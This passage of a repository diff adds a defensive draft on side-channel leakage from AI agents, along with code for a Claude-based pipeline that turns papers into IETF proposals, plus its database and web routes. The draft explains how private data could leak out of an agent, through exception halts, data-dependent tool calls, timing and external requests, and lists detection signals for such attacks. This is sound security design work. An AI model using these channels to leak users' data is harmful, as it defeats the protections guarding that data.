| **Error message content** | Error details leak through supposedly sanitized channels | High |
|
||||
| **Model confidence** | Probability distributions in structured output leak information | Low |
|
||||
| **Resource consumption** | CPU/memory usage patterns depend on private data | Low |
|
||||
|
||||
## 4. Mitigation Strategies
|
||||
|
||||
### 4.1 STRICT Mode Execution
|
||||
|
||||
**Recommendation: Use STRICT mode for all security-sensitive agent operations.**
|
||||
|
||||
In STRICT mode:
|
||||
|
||||
- All statements inside `if`/`for`/`while` blocks inherit dependencies from the condition/iterator
|
||||
- This means a `fetch()` inside `for i in range(private_var)` will have `private_var` in its dependency graph
|
||||
- Security policies can detect and block the side-channel
|
||||
|
||||
**Trade-off**: STRICT mode reduces utility. CaML shows policy triggering rates increase from 33.87% (NORMAL) to 53.23% (STRICT) in benign scenarios. Recommendation: use STRICT mode by default, allow NORMAL mode only for explicitly low-sensitivity operations.
|
||||
|
||||
### 4.2 Exception Handling Hardening
|
||||
|
||||
**Recommendation: Use error-value types instead of exceptions for data-dependent operations.**
|
||||
|
||||
Exceptions create side channels because they halt execution. Instead:
|
||||
|
||||
```python
|
||||
# VULNERABLE: exception leaks information
|
||||
try:
|
||||
result = risky_operation(private_data)
|
||||
send_email(result) # not reached if exception
|
||||
except:
|
||||
pass # attacker observes: was email sent?
|
||||
|
||||
# MITIGATED: error-value preserves execution flow
|
||||
result = risky_operation(private_data) # returns Result type
|
||||
if result.is_ok():
|
||||
send_email(result.value) # both branches execute deterministically
|
||||
else:
|
||||
send_email(default_value) # same tool call either way
|
||||
```
|
||||
|
||||
Agent frameworks SHOULD:
|
||||
- Use `Result`/`Either` types instead of exceptions for Processor outputs
|
||||
- Ensure both success and failure paths make the same external observations
|
||||
- Redact exception messages before they reach the Planner
|
||||
|
||||
### 4.3 Constant-Pattern Tool Calls
|
||||
|
||||
**Recommendation: Where feasible, make tool call patterns independent of private data.**
|
||||
|
||||
- Avoid data-dependent loops that make external calls
|
||||
- Use batch operations instead of per-item calls
|
||||
- Pad tool call sequences to fixed lengths for sensitive operations
|
||||
|
||||
### 4.4 External Request Restrictions
|
||||
|
||||
**Recommendation: Restrict which external endpoints agents can contact.**
|
||||
|
||||
- Allowlist approved external domains
|
||||
- Proxy all external requests through a controlled gateway
|
||||
- Rate-limit external requests per agent session
|
||||
- Log all external requests for anomaly detection
|
||||
|
||||
## 5. Tool API Design Guidelines
|
||||
|
||||
Tool developers SHOULD design APIs that minimize side-channel exposure:
|
||||
|
||||
### 5.1 Do
|
||||
|
||||
- Return consistent response structures regardless of input
|
||||
- Use fixed-size responses where possible
|
||||
- Include provenance metadata in all outputs
|
||||
- Document trust levels of output fields (which are public, which are private)
|
||||
|
||||
### 5.2 Don't
|
||||
|
||||
- Return variable-length arrays that depend on private data in observable ways
|
||||
- Include internal identifiers in error messages
|
||||
- Use response timing that depends on input sensitivity
|
||||
- Expose iteration counts or batch sizes in responses
|
||||
|
||||
### 5.3 Tool Capability Annotations
|
||||
|
||||
Tools SHOULD declare their side-channel properties:
|
||||
|
||||
```json
|
||||
{
|
||||
"tool:name": "send_email",
|
||||
"tool:side_channel_properties": {
|
||||
"makes_external_requests": true,
|
||||
"timing_dependent": false,
|
||||
"error_messages_may_leak": true,
|
||||
"observable_by_third_parties": true
|
||||
},
|
||||
"tool:recommended_mode": "STRICT"
|
||||
}
|
||||
```
|
||||
|
||||
## 6. Monitoring Patterns
|
||||
|
||||
### 6.1 Anomaly Detection Signals
|
||||
|
||||
| Signal | Potential Attack | Action |
|
||||
|--------|-----------------|--------|
|
||||
| Repeated requests to same external URL | External resource inference | Rate limit + alert |
|
||||
| Unusually high exception rate | Exception-based bit leaking | Halt + review |
|
||||
| Execution time variance > threshold | Timing side-channel | Log + investigate |
|
||||
| Tool call patterns differ from plan | Control flow manipulation | Emergency halt |
|
||||
| Same agent repeatedly hitting policy denials | Probing attack | Throttle + alert |
|
||||
|
||||
### 6.2 Monitoring Architecture
|
||||
|
||||
```
|
||||
Agent Execution
|
||||
│
|
||||
├──► Side-Channel Monitor
|
||||
│ ├── Request pattern analyzer
|
||||
│ ├── Exception rate tracker
|
||||
│ ├── Timing variance detector
|
||||
│ └── Tool call pattern validator
|
||||
│ │
|
||||
│ ▼
|
||||
│ Alert / Halt Decision
|
||||
│
|
||||
▼
|
||||
Normal execution continues (if no anomaly)
|
||||
```
|
||||
|
||||
## 7. Relationship to Other Drafts
|
||||
|
||||
| Draft | Side-Channel Relevance |
|
||||
|-------|----------------------|
|
||||
| Draft 1 (Capabilities) | Capability metadata enables policy checks that detect side channels |
|
||||
| Draft 2 (Flow Integrity) | STRICT mode DFG tracking is the primary side-channel mitigation |
|
||||
| Draft 3 (Provenance) | Provenance metadata itself can be a side channel — needs protection |
|
||||
| Draft 4 (Policy Federation) | Policy denial patterns across organizations can leak info |
|
||||
| Draft 5 (Execution Model) | Isolation architecture is the first line of defense |
|
||||
|
||||
## 8. Security Considerations
|
||||
|
||||
This entire document is about security. Key meta-considerations:
|
||||
|
||||
- Side-channel mitigation is **defense in depth** — no single measure eliminates all channels
|
||||
- The trade-off between security and utility is fundamental — complete side-channel elimination would make agents unusable
|
||||
- New side channels will be discovered as agent systems evolve — this BCP should be updated regularly
|
||||
- Side-channel monitoring itself can create privacy issues (logging all agent interactions)
|
||||
|
||||
## 9. Open Questions
|
||||
|
||||
1. **Formal analysis**: can we formally prove bounds on information leakage for a given agent configuration?
|
||||
2. **Adaptive adversaries**: as mitigations are deployed, attackers will find new channels. How to stay ahead?
|
||||
3. **Overhead budget**: what is the acceptable performance overhead for side-channel mitigation?
|
||||
4. **Multi-agent amplification**: do side channels in multi-agent systems compose (leak more than single-agent)?
|
||||
|
||||
## 10. References
|
||||
|
||||
- Debenedetti et al. "Defeating Prompt Injections by Design." arXiv:2503.18813, 2025.
|
||||
- Anderson, Stajano, Lee. "Security policies." Advances in Computers, 2002.
|
||||
- Glukhov et al. "Breach By A Thousand Leaks: Unsafe Information Leakage in 'Safe' AI Responses." ICLR, 2025.
|
||||
- Carlini & Wagner. "ROP is still dangerous: Breaking modern defenses." USENIX Security 14, 2014.
|
||||
17
scripts/proposal-intake.sh
Executable file
17
scripts/proposal-intake.sh
Executable file
@@ -0,0 +1,17 @@
|
||||
#!/usr/bin/env bash
|
||||
# Proposal Intake — generate IETF draft proposals from text/URLs.
|
||||
#
|
||||
# Usage:
|
||||
# ./scripts/proposal-intake.sh "https://arxiv.org/abs/2503.18813"
|
||||
# ./scripts/proposal-intake.sh -f notes.txt
|
||||
# echo "article text" | ./scripts/proposal-intake.sh -
|
||||
# ./scripts/proposal-intake.sh --dry-run "some interesting paper text"
|
||||
#
|
||||
# This passes input to Claude along with all current gaps,
|
||||
# and stores generated proposals in the database.
|
||||
# View results at http://localhost:5000/proposals (--dev mode)
|
||||
|
||||
set -euo pipefail
|
||||
cd "$(dirname "$0")/.."
|
||||
|
||||
python -m ietf_analyzer.cli intake "$@"
|
||||
@@ -2383,6 +2383,64 @@ def draft_gen(gap_topic: str, output: str | None):
|
||||
db.close()
|
||||
|
||||
|
||||
# ── proposal intake ──────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
@main.command("intake")
|
||||
@click.argument("input_text", required=False)
|
||||
@click.option("--file", "-f", type=click.Path(exists=True), help="Read input from a file")
|
||||
@click.option("--dry-run", is_flag=True, help="Parse and show proposals without storing")
|
||||
def intake(input_text: str | None, file: str | None, dry_run: bool):
|
||||
"""Generate draft proposals from text/URLs.
|
||||
|
||||
Paste article text, URLs, or notes. Claude analyzes against all gaps
|
||||
and generates structured IETF draft proposals automatically.
|
||||
|
||||
Examples:
|
||||
|
||||
ietf intake "https://arxiv.org/abs/2503.18813"
|
||||
|
||||
ietf intake -f notes.txt
|
||||
|
||||
echo "interesting paper about agent security" | ietf intake -
|
||||
"""
|
||||
from .proposal_intake import ProposalIntake
|
||||
|
||||
if input_text == "-":
|
||||
import sys
|
||||
input_text = sys.stdin.read()
|
||||
elif file:
|
||||
input_text = Path(file).read_text()
|
||||
elif not input_text:
|
||||
# Interactive: read from stdin until EOF
|
||||
console.print("[dim]Paste text/URLs, then Ctrl+D to submit:[/]")
|
||||
import sys
|
||||
input_text = sys.stdin.read()
|
||||
|
||||
if not input_text or not input_text.strip():
|
||||
console.print("[red]No input provided.[/]")
|
||||
raise SystemExit(1)
|
||||
|
||||
cfg = _get_config()
|
||||
db = Database(cfg)
|
||||
try:
|
||||
pipeline = ProposalIntake(cfg, db)
|
||||
proposals, usage = pipeline.process(input_text, dry_run=dry_run)
|
||||
|
||||
if proposals:
|
||||
console.print(f"\n[bold green]{len(proposals)} proposal(s) generated[/]")
|
||||
for p in proposals:
|
||||
pid = p.get("id", "—")
|
||||
gaps = ", ".join(f"#{g}" for g in p.get("gap_ids", []))
|
||||
console.print(f" [blue]#{pid}[/] {p['title']} [dim]gaps: {gaps}[/]")
|
||||
if not dry_run:
|
||||
console.print(f"\nView in web UI: [bold]http://localhost:5000/proposals[/]")
|
||||
else:
|
||||
console.print("[yellow]No proposals generated from this input.[/]")
|
||||
finally:
|
||||
db.close()
|
||||
|
||||
|
||||
# ── config ───────────────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
|
||||
@@ -193,6 +193,30 @@ CREATE TABLE IF NOT EXISTS gap_history (
|
||||
recorded_at TEXT
|
||||
);
|
||||
|
||||
-- Draft proposals (user's own IETF draft ideas)
|
||||
CREATE TABLE IF NOT EXISTS proposals (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
title TEXT NOT NULL,
|
||||
slug TEXT NOT NULL UNIQUE,
|
||||
status TEXT DEFAULT 'idea',
|
||||
description TEXT DEFAULT '',
|
||||
content_md TEXT DEFAULT '',
|
||||
source_paper TEXT DEFAULT '',
|
||||
source_url TEXT DEFAULT '',
|
||||
intended_wg TEXT DEFAULT '',
|
||||
draft_name TEXT DEFAULT '',
|
||||
created_at TEXT,
|
||||
updated_at TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS proposal_gaps (
|
||||
proposal_id INTEGER NOT NULL REFERENCES proposals(id) ON DELETE CASCADE,
|
||||
gap_id INTEGER NOT NULL REFERENCES gaps(id),
|
||||
PRIMARY KEY (proposal_id, gap_id)
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_proposal_gaps_gap ON proposal_gaps(gap_id);
|
||||
|
||||
-- Annotations (user notes + tags per draft)
|
||||
CREATE TABLE IF NOT EXISTS annotations (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
@@ -903,6 +927,102 @@ class Database:
|
||||
"category": r["category"], "evidence": r["evidence"],
|
||||
"severity": r["severity"]} for r in rows]
|
||||
|
||||
# --- Proposals ---
|
||||
|
||||
def all_proposals(self) -> list[dict]:
|
||||
rows = self.conn.execute(
|
||||
"SELECT * FROM proposals ORDER BY updated_at DESC"
|
||||
).fetchall()
|
||||
result = []
|
||||
for r in rows:
|
||||
p = dict(r)
|
||||
gap_rows = self.conn.execute(
|
||||
"SELECT gap_id FROM proposal_gaps WHERE proposal_id = ?", (r["id"],)
|
||||
).fetchall()
|
||||
p["gap_ids"] = [gr["gap_id"] for gr in gap_rows]
|
||||
result.append(p)
|
||||
return result
|
||||
|
||||
def get_proposal(self, proposal_id: int) -> dict | None:
|
||||
row = self.conn.execute(
|
||||
"SELECT * FROM proposals WHERE id = ?", (proposal_id,)
|
||||
).fetchone()
|
||||
if not row:
|
||||
return None
|
||||
p = dict(row)
|
||||
gap_rows = self.conn.execute(
|
||||
"SELECT gap_id FROM proposal_gaps WHERE proposal_id = ?", (proposal_id,)
|
||||
).fetchall()
|
||||
p["gap_ids"] = [gr["gap_id"] for gr in gap_rows]
|
||||
return p
|
||||
|
||||
def get_proposal_by_slug(self, slug: str) -> dict | None:
|
||||
row = self.conn.execute(
|
||||
"SELECT * FROM proposals WHERE slug = ?", (slug,)
|
||||
).fetchone()
|
||||
if not row:
|
||||
return None
|
||||
p = dict(row)
|
||||
gap_rows = self.conn.execute(
|
||||
"SELECT gap_id FROM proposal_gaps WHERE proposal_id = ?", (p["id"],)
|
||||
).fetchall()
|
||||
p["gap_ids"] = [gr["gap_id"] for gr in gap_rows]
|
||||
return p
|
||||
|
||||
def upsert_proposal(self, proposal: dict) -> int:
|
||||
"""Insert or update a proposal. Returns the proposal ID."""
|
||||
now = datetime.now(timezone.utc).isoformat()
|
||||
if proposal.get("id"):
|
||||
self.conn.execute(
|
||||
"""UPDATE proposals SET title=?, slug=?, status=?, description=?,
|
||||
content_md=?, source_paper=?, source_url=?, intended_wg=?,
|
||||
draft_name=?, updated_at=?
|
||||
WHERE id=?""",
|
||||
(proposal["title"], proposal["slug"], proposal.get("status", "idea"),
|
||||
proposal.get("description", ""), proposal.get("content_md", ""),
|
||||
proposal.get("source_paper", ""), proposal.get("source_url", ""),
|
||||
proposal.get("intended_wg", ""), proposal.get("draft_name", ""),
|
||||
now, proposal["id"]),
|
||||
)
|
||||
pid = proposal["id"]
|
||||
else:
|
||||
cur = self.conn.execute(
|
||||
"""INSERT INTO proposals (title, slug, status, description, content_md,
|
||||
source_paper, source_url, intended_wg, draft_name, created_at, updated_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)""",
|
||||
(proposal["title"], proposal["slug"], proposal.get("status", "idea"),
|
||||
proposal.get("description", ""), proposal.get("content_md", ""),
|
||||
proposal.get("source_paper", ""), proposal.get("source_url", ""),
|
||||
proposal.get("intended_wg", ""), proposal.get("draft_name", ""),
|
||||
now, now),
|
||||
)
|
||||
pid = cur.lastrowid
|
||||
# Update gap links
|
||||
self.conn.execute("DELETE FROM proposal_gaps WHERE proposal_id = ?", (pid,))
|
||||
for gid in proposal.get("gap_ids", []):
|
||||
self.conn.execute(
|
||||
"INSERT OR IGNORE INTO proposal_gaps (proposal_id, gap_id) VALUES (?, ?)",
|
||||
(pid, gid),
|
||||
)
|
||||
self.conn.commit()
|
||||
return pid
|
||||
|
||||
def delete_proposal(self, proposal_id: int) -> bool:
|
||||
self.conn.execute("DELETE FROM proposal_gaps WHERE proposal_id = ?", (proposal_id,))
|
||||
cur = self.conn.execute("DELETE FROM proposals WHERE id = ?", (proposal_id,))
|
||||
self.conn.commit()
|
||||
return cur.rowcount > 0
|
||||
|
||||
def get_proposals_for_gap(self, gap_id: int) -> list[dict]:
|
||||
rows = self.conn.execute(
|
||||
"""SELECT p.* FROM proposals p
|
||||
JOIN proposal_gaps pg ON p.id = pg.proposal_id
|
||||
WHERE pg.gap_id = ?
|
||||
ORDER BY p.updated_at DESC""",
|
||||
(gap_id,),
|
||||
).fetchall()
|
||||
return [dict(r) for r in rows]
|
||||
|
||||
# --- Refs ---
|
||||
|
||||
def insert_refs(self, draft_name: str, refs: list[tuple[str, str]]) -> None:
|
||||
|
||||
296
src/ietf_analyzer/proposal_intake.py
Normal file
296
src/ietf_analyzer/proposal_intake.py
Normal file
@@ -0,0 +1,296 @@
|
||||
"""Proposal Intake Pipeline.
|
||||
|
||||
Accepts raw text (articles, URLs, notes) and automatically generates
|
||||
IETF draft proposals cross-referenced with existing gaps.
|
||||
|
||||
Usage:
|
||||
from ietf_analyzer.proposal_intake import ProposalIntake
|
||||
intake = ProposalIntake(config, db)
|
||||
proposals = intake.process("paste article text or URLs here")
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import json
|
||||
import re
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
|
||||
from dotenv import load_dotenv
|
||||
# Load .env from project root (same pattern as analyzer.py)
|
||||
load_dotenv(Path(__file__).resolve().parent.parent.parent / ".env")
|
||||
load_dotenv()
|
||||
|
||||
import anthropic
|
||||
import httpx
|
||||
from rich.console import Console
|
||||
|
||||
from .config import Config
|
||||
from .db import Database
|
||||
|
||||
console = Console()
|
||||
|
||||
INTAKE_SYSTEM_PROMPT = """\
|
||||
You are an IETF standards expert who identifies potential Internet-Draft proposals \
|
||||
from research papers, articles, and technical discussions.
|
||||
|
||||
You will receive:
|
||||
1. A list of existing GAPS in IETF AI/agent standards coverage
|
||||
2. Input text (articles, papers, notes, or summaries)
|
||||
|
||||
Your job: identify concrete IETF Internet-Draft proposals that could address one or \
|
||||
more of the gaps, inspired by the input material.
|
||||
|
||||
For EACH proposal you identify, output a JSON object with these fields:
|
||||
- title: descriptive title for the proposed draft
|
||||
- slug: URL-friendly identifier (lowercase, hyphens, e.g. "capability-security-policies")
|
||||
- status: always "idea" for new proposals
|
||||
- description: 2-3 sentence summary of what this draft would standardize
|
||||
- content_md: full proposal outline in markdown (kramdown-compatible), including:
|
||||
- Problem Statement (what gap does this address, why is it needed)
|
||||
- Scope (what the draft defines and what's out of scope)
|
||||
- Key Concepts (core technical ideas from the source material)
|
||||
- Proposed Approach (wire formats, protocols, data models — be specific)
|
||||
- Integration Points (how this fits with WIMSE, ECT, MCP, A2A, OAuth, etc.)
|
||||
- Security Considerations
|
||||
- Open Questions
|
||||
- References (to the source material and relevant existing standards)
|
||||
- source_paper: title of the source paper/article
|
||||
- source_url: URL if available, empty string otherwise
|
||||
- intended_wg: suggested IETF working group (e.g. "SECDISPATCH", "WIMSE", "new WG")
|
||||
- draft_name: suggested draft filename (e.g. "draft-nennemann-ai-agent-capability-policies-00")
|
||||
- gap_ids: array of gap IDs (integers) that this proposal addresses
|
||||
|
||||
Guidelines:
|
||||
- Be SPECIFIC about wire formats, protocol messages, data structures
|
||||
- Include JSON examples in the content_md where applicable
|
||||
- Cross-reference with existing IETF work (WIMSE, ECT, MCP, A2A, GNAP, OAuth)
|
||||
- One paper/article might produce MULTIPLE proposals — don't merge distinct ideas
|
||||
- Don't create proposals that duplicate existing IETF drafts
|
||||
- The content_md should be substantial (500+ words) — this is a working document
|
||||
- Use kramdown-compatible markdown (YAML front matter is optional, not required in content)
|
||||
|
||||
Output ONLY a JSON array of proposal objects. No other text."""
|
||||
|
||||
GAPS_TEMPLATE = """\
|
||||
## Existing Gaps in IETF AI/Agent Standards
|
||||
|
||||
{gap_list}
|
||||
|
||||
## Input Material
|
||||
|
||||
{input_text}
|
||||
|
||||
---
|
||||
|
||||
Analyze the input material against the gaps above. Generate IETF draft proposals \
|
||||
as a JSON array. Each proposal should be a concrete, actionable draft idea that \
|
||||
addresses one or more gaps."""
|
||||
|
||||
|
||||
def _prompt_hash(text: str) -> str:
|
||||
return hashlib.sha256(text.encode()).hexdigest()[:16]
|
||||
|
||||
|
||||
class ProposalIntake:
|
||||
"""Process raw text/URLs into structured IETF draft proposals."""
|
||||
|
||||
def __init__(self, config: Config, db: Database):
|
||||
self.config = config
|
||||
self.db = db
|
||||
try:
|
||||
self.client = anthropic.Anthropic()
|
||||
except Exception:
|
||||
console.print(
|
||||
"[red bold]No Anthropic API key found.[/]\n"
|
||||
"Set ANTHROPIC_API_KEY environment variable or add to .env"
|
||||
)
|
||||
raise SystemExit(1)
|
||||
|
||||
def fetch_url(self, url: str) -> str:
|
||||
"""Fetch a URL and return its text content (best-effort)."""
|
||||
try:
|
||||
resp = httpx.get(url, follow_redirects=True, timeout=30,
|
||||
headers={"User-Agent": "IETF-Draft-Analyzer/1.0"})
|
||||
resp.raise_for_status()
|
||||
content_type = resp.headers.get("content-type", "")
|
||||
if "html" in content_type:
|
||||
# Simple HTML → text extraction
|
||||
text = resp.text
|
||||
# Strip tags
|
||||
text = re.sub(r'<script[^>]*>.*?</script>', '', text, flags=re.DOTALL)
|
||||
text = re.sub(r'<style[^>]*>.*?</style>', '', text, flags=re.DOTALL)
|
||||
text = re.sub(r'<[^>]+>', ' ', text)
|
||||
text = re.sub(r'\s+', ' ', text).strip()
|
||||
return text[:50000] # Cap at 50k chars
|
||||
elif "pdf" in content_type:
|
||||
return f"[PDF at {url} — paste the text content directly for better results]"
|
||||
else:
|
||||
return resp.text[:50000]
|
||||
except Exception as e:
|
||||
return f"[Failed to fetch {url}: {e}]"
|
||||
|
||||
def extract_urls(self, text: str) -> list[str]:
|
||||
"""Extract URLs from text."""
|
||||
return re.findall(r'https?://[^\s<>"\')\]]+', text)
|
||||
|
||||
def prepare_input(self, raw_input: str) -> str:
|
||||
"""Fetch any URLs in the input and combine with the raw text."""
|
||||
urls = self.extract_urls(raw_input)
|
||||
parts = []
|
||||
|
||||
if urls:
|
||||
# Fetch each URL
|
||||
for url in urls:
|
||||
console.print(f" Fetching [blue]{url}[/]...")
|
||||
content = self.fetch_url(url)
|
||||
parts.append(f"### Source: {url}\n\n{content}\n")
|
||||
|
||||
# Also include any non-URL text
|
||||
non_url_text = raw_input
|
||||
for url in urls:
|
||||
non_url_text = non_url_text.replace(url, "").strip()
|
||||
if non_url_text:
|
||||
parts.append(f"### Additional notes\n\n{non_url_text}\n")
|
||||
else:
|
||||
parts.append(raw_input)
|
||||
|
||||
return "\n---\n".join(parts)
|
||||
|
||||
def build_prompt(self, input_text: str) -> str:
|
||||
"""Build the full prompt with gaps context."""
|
||||
gaps = self.db.all_gaps()
|
||||
gap_lines = []
|
||||
for g in gaps:
|
||||
gap_lines.append(
|
||||
f"- **Gap #{g['id']}** [{g['severity'].upper()}] ({g['category']}): "
|
||||
f"{g['topic']} — {g['description']}"
|
||||
)
|
||||
gap_list = "\n".join(gap_lines)
|
||||
return GAPS_TEMPLATE.format(gap_list=gap_list, input_text=input_text)
|
||||
|
||||
def call_claude(self, prompt: str, cheap: bool = False) -> tuple[str, dict]:
|
||||
"""Call Claude with the intake prompt.
|
||||
|
||||
Returns (response_text, usage_info) where usage_info has
|
||||
keys: model, input_tokens, output_tokens, cost_usd.
|
||||
"""
|
||||
model = self.config.claude_model_cheap if cheap else self.config.claude_model
|
||||
console.print(f" Calling Claude ({model})...")
|
||||
resp = self.client.messages.create(
|
||||
model=model,
|
||||
max_tokens=16000,
|
||||
system=INTAKE_SYSTEM_PROMPT,
|
||||
messages=[{"role": "user", "content": prompt}],
|
||||
)
|
||||
text = resp.content[0].text.strip()
|
||||
in_tok = resp.usage.input_tokens
|
||||
out_tok = resp.usage.output_tokens
|
||||
# Haiku: ~$0.80/M in, $4/M out; Sonnet: ~$3/M in, $15/M out
|
||||
if "haiku" in model:
|
||||
cost = (in_tok * 0.8 + out_tok * 4) / 1_000_000
|
||||
else:
|
||||
cost = (in_tok * 3 + out_tok * 15) / 1_000_000
|
||||
console.print(
|
||||
f" Tokens: {in_tok:,} in / {out_tok:,} out (~${cost:.3f})"
|
||||
)
|
||||
usage = {
|
||||
"model": model,
|
||||
"input_tokens": in_tok,
|
||||
"output_tokens": out_tok,
|
||||
"cost_usd": round(cost, 4),
|
||||
}
|
||||
return text, usage
|
||||
|
||||
def parse_proposals(self, response: str) -> list[dict]:
|
||||
"""Parse Claude's JSON response into proposal dicts."""
|
||||
# Strip markdown fences if present
|
||||
text = response.strip()
|
||||
if text.startswith("```"):
|
||||
text = text.split("\n", 1)[1]
|
||||
if text.rstrip().endswith("```"):
|
||||
text = text.rstrip()[:-3]
|
||||
text = text.strip()
|
||||
|
||||
try:
|
||||
proposals = json.loads(text)
|
||||
if isinstance(proposals, dict):
|
||||
proposals = [proposals]
|
||||
return proposals
|
||||
except json.JSONDecodeError as e:
|
||||
console.print(f"[red]Failed to parse JSON: {e}[/]")
|
||||
console.print(f"[dim]Response was: {text[:500]}...[/]")
|
||||
return []
|
||||
|
||||
def store_proposals(self, proposals: list[dict]) -> list[int]:
|
||||
"""Store parsed proposals in the database. Returns list of proposal IDs."""
|
||||
ids = []
|
||||
for p in proposals:
|
||||
# Ensure gap_ids are ints
|
||||
gap_ids = [int(g) for g in p.get("gap_ids", []) if str(g).isdigit()]
|
||||
proposal = {
|
||||
"title": p.get("title", "Untitled"),
|
||||
"slug": p.get("slug", f"proposal-{_prompt_hash(p.get('title', ''))}"),
|
||||
"status": p.get("status", "idea"),
|
||||
"description": p.get("description", ""),
|
||||
"content_md": p.get("content_md", ""),
|
||||
"source_paper": p.get("source_paper", ""),
|
||||
"source_url": p.get("source_url", ""),
|
||||
"intended_wg": p.get("intended_wg", ""),
|
||||
"draft_name": p.get("draft_name", ""),
|
||||
"gap_ids": gap_ids,
|
||||
}
|
||||
try:
|
||||
pid = self.db.upsert_proposal(proposal)
|
||||
ids.append(pid)
|
||||
console.print(
|
||||
f" [green]✓[/] Stored: {proposal['title']} "
|
||||
f"(#{pid}, {len(gap_ids)} gaps linked)"
|
||||
)
|
||||
except Exception as e:
|
||||
console.print(f" [red]✗[/] Failed to store '{proposal['title']}': {e}")
|
||||
return ids
|
||||
|
||||
def process(
|
||||
self, raw_input: str, dry_run: bool = False, cheap: bool = False
|
||||
) -> tuple[list[dict], dict]:
|
||||
"""Full pipeline: input → fetch URLs → build prompt → Claude → store.
|
||||
|
||||
Args:
|
||||
raw_input: text with URLs, article content, or notes
|
||||
dry_run: if True, return proposals without storing
|
||||
cheap: if True, use Haiku instead of Sonnet
|
||||
|
||||
Returns:
|
||||
(list of proposal dicts with 'id' set if stored, usage_info dict)
|
||||
"""
|
||||
console.print("[bold]Proposal Intake Pipeline[/]")
|
||||
console.print(f" Input: {len(raw_input)} chars, {len(self.extract_urls(raw_input))} URLs")
|
||||
|
||||
# Step 1: Prepare input (fetch URLs)
|
||||
input_text = self.prepare_input(raw_input)
|
||||
console.print(f" Prepared: {len(input_text)} chars")
|
||||
|
||||
# Step 2: Build prompt with gaps
|
||||
prompt = self.build_prompt(input_text)
|
||||
|
||||
# Step 3: Call Claude
|
||||
response, usage = self.call_claude(prompt, cheap=cheap)
|
||||
|
||||
# Step 4: Parse
|
||||
proposals = self.parse_proposals(response)
|
||||
console.print(f" Parsed: {len(proposals)} proposal(s)")
|
||||
|
||||
if not proposals:
|
||||
return [], usage
|
||||
|
||||
# Step 5: Store (unless dry run)
|
||||
if not dry_run:
|
||||
ids = self.store_proposals(proposals)
|
||||
for p, pid in zip(proposals, ids):
|
||||
p["id"] = pid
|
||||
else:
|
||||
console.print(" [yellow]Dry run — not stored[/]")
|
||||
|
||||
return proposals, usage
|
||||
147
src/webui/app.py
147
src/webui/app.py
@@ -19,7 +19,7 @@ import time
|
||||
import functools
|
||||
from collections import defaultdict
|
||||
|
||||
from flask import Flask, render_template, request, jsonify, abort, g, Response
|
||||
from flask import Flask, render_template, request, jsonify, abort, g, Response, redirect, url_for
|
||||
|
||||
from webui.auth import admin_required, init_auth
|
||||
from webui.analytics import init_analytics, get_analytics_data
|
||||
@@ -63,6 +63,9 @@ from webui.data import (
|
||||
get_trends_data,
|
||||
get_complexity_data,
|
||||
get_idea_analysis,
|
||||
get_all_proposals,
|
||||
get_proposal_detail,
|
||||
get_proposals_for_gap,
|
||||
)
|
||||
|
||||
app = Flask(
|
||||
@@ -243,7 +246,8 @@ def gap_detail(gap_id: int):
|
||||
if not gap:
|
||||
abort(404)
|
||||
generated = get_generated_drafts()
|
||||
return render_template("gap_detail.html", gap=gap, generated_drafts=generated)
|
||||
gap_proposals = get_proposals_for_gap(db(), gap_id)
|
||||
return render_template("gap_detail.html", gap=gap, generated_drafts=generated, proposals=gap_proposals)
|
||||
|
||||
|
||||
@app.route("/gaps/<int:gap_id>/generate", methods=["POST"])
|
||||
@@ -793,6 +797,145 @@ def api_complexity():
|
||||
return jsonify(get_complexity_data(db()))
|
||||
|
||||
|
||||
# ── Proposals (dev-only) ────────────────────────────────────────────────
|
||||
|
||||
|
||||
@app.route("/proposals")
|
||||
@admin_required
|
||||
def proposals():
|
||||
proposal_list = get_all_proposals(db())
|
||||
gap_list = get_all_gaps(db())
|
||||
return render_template("proposals.html", proposals=proposal_list, gaps=gap_list)
|
||||
|
||||
|
||||
@app.route("/proposals/new", methods=["GET", "POST"])
|
||||
@admin_required
|
||||
def proposal_new():
|
||||
if request.method == "POST":
|
||||
data = request.form
|
||||
slug = data.get("slug", "").strip()
|
||||
if not slug:
|
||||
import re
|
||||
slug = re.sub(r'[^a-z0-9]+', '-', data["title"].lower()).strip('-')
|
||||
gap_ids = [int(g) for g in request.form.getlist("gap_ids") if g]
|
||||
proposal = {
|
||||
"title": data["title"],
|
||||
"slug": slug,
|
||||
"status": data.get("status", "idea"),
|
||||
"description": data.get("description", ""),
|
||||
"content_md": data.get("content_md", ""),
|
||||
"source_paper": data.get("source_paper", ""),
|
||||
"source_url": data.get("source_url", ""),
|
||||
"intended_wg": data.get("intended_wg", ""),
|
||||
"draft_name": data.get("draft_name", ""),
|
||||
"gap_ids": gap_ids,
|
||||
}
|
||||
pid = db().upsert_proposal(proposal)
|
||||
return redirect(url_for("proposal_detail", proposal_id=pid))
|
||||
gap_list = get_all_gaps(db())
|
||||
return render_template("proposal_edit.html", proposal=None, gaps=gap_list)
|
||||
|
||||
|
||||
@app.route("/proposals/<int:proposal_id>")
|
||||
@admin_required
|
||||
def proposal_detail(proposal_id):
|
||||
proposal = get_proposal_detail(db(), proposal_id)
|
||||
if not proposal:
|
||||
abort(404)
|
||||
return render_template("proposal_detail.html", proposal=proposal)
|
||||
|
||||
|
||||
@app.route("/proposals/<int:proposal_id>/edit", methods=["GET", "POST"])
|
||||
@admin_required
|
||||
def proposal_edit(proposal_id):
|
||||
if request.method == "POST":
|
||||
data = request.form
|
||||
slug = data.get("slug", "").strip()
|
||||
if not slug:
|
||||
import re
|
||||
slug = re.sub(r'[^a-z0-9]+', '-', data["title"].lower()).strip('-')
|
||||
gap_ids = [int(g) for g in request.form.getlist("gap_ids") if g]
|
||||
proposal = {
|
||||
"id": proposal_id,
|
||||
"title": data["title"],
|
||||
"slug": slug,
|
||||
"status": data.get("status", "idea"),
|
||||
"description": data.get("description", ""),
|
||||
"content_md": data.get("content_md", ""),
|
||||
"source_paper": data.get("source_paper", ""),
|
||||
